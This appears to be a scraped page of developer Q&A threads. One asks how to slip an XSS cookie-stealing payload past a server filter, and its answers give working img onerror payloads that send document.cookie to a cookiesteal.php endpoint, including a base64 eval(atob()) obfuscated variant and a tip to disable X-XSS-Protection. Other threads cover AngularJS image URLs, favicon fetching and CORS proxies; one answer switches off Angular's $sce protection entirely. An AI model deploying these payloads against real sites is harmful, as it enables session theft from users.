We Keep Coding

How to append var to var.src without using +

Im trying to do an XSS attack for an assignment, injecting some code, however the server is set up to strip most HTML tags, but I am able to inject using img tag and onerror. When injecting, I can't seem to get the syntax right as it takes away my "+" in my string append (trying to attach cookie to the source I'm using).
<img src="img.gif"
onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">
When i check this after injection (in inspect element) it shows the script, but the plus symbol at the end is missing. is there another way to append this cookie to the img.src without using the +?
UPDATE:
I got the plus in there and now the Event Listener has activated. But ive tried using onerror, onload, onmouseover and nothing is activating the code, im not receiving the admin cookie.

Try using using %2B instead of +
https://www.w3schools.com/tags/ref_urlencode.asp

Try this on error
eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))
what I have done,
Take the code as a string and convert to base64 btoa()
eval can execute a sting as a code, but we need to decode it first atob dose that
hence eval(atob('encoded code'));
the encoded code
`var img = document.createElement('img');
img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`
So your end it should look like
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">

Use encodeURIComponent
<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">

It should work fine if you properly encode the injected script.
The only error you may get is if XSS protection is On.
You can disable it by sending the response header
("X-XSS-Protection", 0)
What does your console report as an error?

AngularJS Get fails to retrieve image url with "302 found"

I'm trying to add an image to my AngularJS app with a url received from a random cat image site.
this is my controller.js:
'use strict';
/* Controllers */
var catPath = "http://thecatapi.com/api/images/get?format=src&results_per_page=1";
var Controllers = angular.module('museum1.controllers', []);
Controllers.controller('oneCatController', ['$scope', '$http',
function($scope, $http) {
$http.get(catPath).success(function(data) {
$scope.imgurl = data;
console.log($scope.imgurl);
});
}]);
and this is the partial that should show the image:
<div>
<img ng-src="{{imgurl}}">
</div>
the controller is called by the app.js, not shown here.
Using fireBug I get a message with the path i requested and "302 Found 770ms".
The same path works from the browser address line, and the angular code worked for me using this example.

A few things..
Usually I don't use double curly brackets for ng properties. You may consider removing them.
The case sensitivity of your controllers variable is different than that of the variable you access in ng-src. This may cause the ng-src value to not show up.
In the controller:
$scope.imgurl = data;
In the HTML:
<img ng-src="{{imageUrl}}">
Change your HTML to:
<img ng-src="{{imageurl}}">
Essentially, putting the 'U' into lowercase.
And finally, I'm not sure how the ng-src works off the top of my head. But, if it uses JavaScript to load the image--and your domain is not the same domain as the image you are loading, then you may be running into cross domain security issues. But, if ng-src does not use JavaScript to load the image somehow, then you should be fine.

Angular insecure url

I'm using this directive to use jCrop with Angular: http://plnkr.co/edit/Z2IQX8s9UK6wQ1hS4asz?p=preview
When I load in a value for src, I get this error:
Can't interpolate: {{profileImg}} Error: [$sce:insecurl]
Then it links me to a page that says this:
Blocked loading resource from url not allowed by $sceDelegate policy.
My html is this:
<img-cropped src={{profileImg}} selected='selected(cords)'/>
And this error happens when I change $scope.profileImg to the url of my image.
I'm linking to S3, where I get the value from profileImg. I trust this source, so how can I tell angular that this source is trusted enough to get this directive working?
If I hardcode the src to be my image, I don't get this problem.
EDIT:
I'm trying to trust the url with $sce.
My controller:
cmsApp.controller('PresentationCtrl',function($scope, $upload, all, $sce){
var socket = io.connect('https://xxxxxx.xxxxxxxxxxxxxx.xxx:3000');
$scope.profileImg="";
$scope.uploadProfilePic = function(){
socket.removeAllListeners();
console.log(file3);
var url = 'https://xxxxxxx.xxxxxxxxxx.xxx:3000/uploadProfile?tenant=xxxxx';
$scope.upload = $upload.upload({
url:url,
data:{myObj:'test1'},
file:file3
}).progress(function(evt){
console.log('percent: ' + parseInt(100.0 * evt.loaded / evt.total));
}).success(function(data,status,headers,config){
$sce.trustAsUrl(data);
$scope.profileImg = data;
});
};
});
And even with the trustAsUrl, it throws the same error.
It might be that I'm trying to connect from it from my local nginx server?
EDIT2:
I moved it to S3 hosting, and it worked. The image I'm trying to link to is also on S3.
I moved it to an Apache web server on an EC2 instance, and it didn't work.
I'm using all the answers, ng-src instead of src, $sce.trustAsUrl(url), and the $compileProvider

sometimes its good to read the docs about $sce
This is a alternative to whitelist all blob and data:image/* urls for just the <img> tag but there is other way that you can solve this like generate a url > pass it into one of the sce function and it will be whitelisted. like #NuclearGhost said
app.config(["$compileProvider" function($compileProvider) {
$compileProvider.imgSrcSanitizationWhitelist(/^\s*(blob:|data:image)/);
}]);

If you'd like to add the url as a trusted source you can use the trustAsUrl() method from ng.$sce service
Here's the angular documentation for the service.

I ended up just turning it off with $sceProvider.enabled(false).

Download a website's favicon.ico through Javascript

I've tried Ajax:
$.ajax({
type : "GET",
url : "http://getfavicon.appspot.com/http://www.google.com",
success : function(result) {
// use the .ico result somewhere
}
});
which gives me the error:
XMLHttpRequest cannot load http://getfavicon.appspot.com/http://www.google.com. No
'Access-Control-Allow-Origin' header is present on the requested resource. Origin
'http://localhost' is therefore not allowed access.
So I tried to allow CORS on my Apache server, but found out the site I download from needs to have CORS allowed too. And if I understand this right I can't download anything from an external domain through javascript, images, text, whatnot?
I tried to go around this by calling a php script on my webserver through ajax instead:
var domain = "www.google.com";
$.ajax({
type : "POST",
url : "php/fetchIcon.php",
data : {
'domainName' : domain
},
success : function(result) {
// use the .ico result somewhere
}
});
fetchIcon.php:
$domainName = false;
if(isset($_POST['domainName'])){
$domainName = $_POST['domainName'];
}
echo file_get_contents("http://getfavicon.appspot.com/http://".$domainName, true);
In the Ajax success result I get back the image's binary code, but it seems broken in some way.
If I want to display the .ico file, can I do something like:
"document.getElementById("img").src = result;" ? In my project I want to use "THREE.ImageUtils.loadTexture(result);". But that's a bit too much for this question.
Do I need to use Base64 encoding/decoding and how?
Is there an easier way or hack to do it just in Javascript without PHP?
Thanks in advance.

Well i think you are making it more complex it simple i tried the below code and it worked for me
<img id='favicon' src='http://getfavicon.appspot.com/http://www.google.com'/>
so why are you using ajax request even if you want to change the soruce of the image you can do it easily with javascript
document.getElementById('favicon').src="address"; //address can contain new source

This worked for me, answered by Rocket Hazmat:
fetchIcon.php:
$domainName = false;
if(isset($_GET['domainName'])){
$domainName = $_GET['domainName'];
}
echo file_get_contents("http://getfavicon.appspot.com/http://".$domainName, true);
Simplest way to display that it worked without CORS restrictions:
<img src="fetchIcon.php?domainName=www.google.com" />
Otherwise this would have been sufficient:
<img src="http://getfavicon.appspot.com/http://www.google.com"/>
or the way I wanted to load a new texture uniform in THREE.js, in javascript, which I kept outside the question, but maybe someone run into the same problem as me:
iconUniform.map.value = THREE.ImageUtils.loadTexture("fetchIcon.php?domainName=www.google.com");

I'm not sure if you mean download as in download to a file, but this would do it in PHP. You could call this AJAX style if you need it to return the path to your JS function...
$url = 'http://getfavicon.appspot.com/http://www.google.com';
$img = 'icons/favicon.ico';
file_put_contents($img, file_get_contents($url));

Get title of page with link

I have a link in a texbox. When I click a button I want to take the title of the page of the link. How can do it with javascript or jQuery?

this post can give you a start
http://forum.jquery.com/topic/get-external-page-and-fetch-title-googled-a-lot-didn-t-find-any-solution

If the page is in the same domain, I'd say use an ajax request and get the title from the returned DOM object.
If it's a different domain, I'd say set a hidden IFrame to the location and when it's loaded get the title using something like:
document.getElementById('MyIframe').document.title

It is almost always done by backend script/crawler. It fetches webpage for You on server-side and returns parsed data by AJAX

try something like this
Google
<span id="titleGoesHere"></span>
--
$(document).ready( function() {
$('#googleLink').click(function(){
$.get(this.prop('href'), function(data) {
var $temp = $('<div id="tempData" />');
$temp.append(data);
var title = $('title', $temp);
$('#titleGoesHere').html(title.val());
});
});
});

For security reasons, browsers restrict cross-origin HTTP requests initiated from within scripts. And because we are using client-side Javascript on the front end for web scraping, CORS errors can occur.
...
Staying firmly within our front end script, we can use cross-domain tools such as Any Origin, Whatever Origin, All Origins, crossorigin and probably a lot more. I have found that you often need to test a few of these to find the one that will work on the site you are trying to scrape.
From this post, I wrote this working and self-contained fiddle:
function replaceAll(str, find, replace) {
return str.replace(new RegExp(find, 'g'), replace);
}
const url = "https://www.facebook.com/"
$.getJSON('https://allorigins.me/get?url=' + encodeURIComponent(url) + '&callback=?', function(data){
const content = replaceAll(data.contents, "<script", "<meta");
$("#content").append(content);
const d = $("#content");
$('#title').text(d.find('title').text());
$('#description').text(d.find('meta[name=description]').attr("content") || "None");
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id="content" style="display: none;">
</div>
<h3 id="title">Waiting...</h3>
<br/>
<p id="description">Waiting...</p>
A few comments:
Use a cross-domain tool through https
Don't forget to encodeURIComponent your url
I replaced script tags with meta tags so that none of those are executed when appended to the DOM (replace function from this question)
To be used, parsed jQuery must be added to the dom (see this question)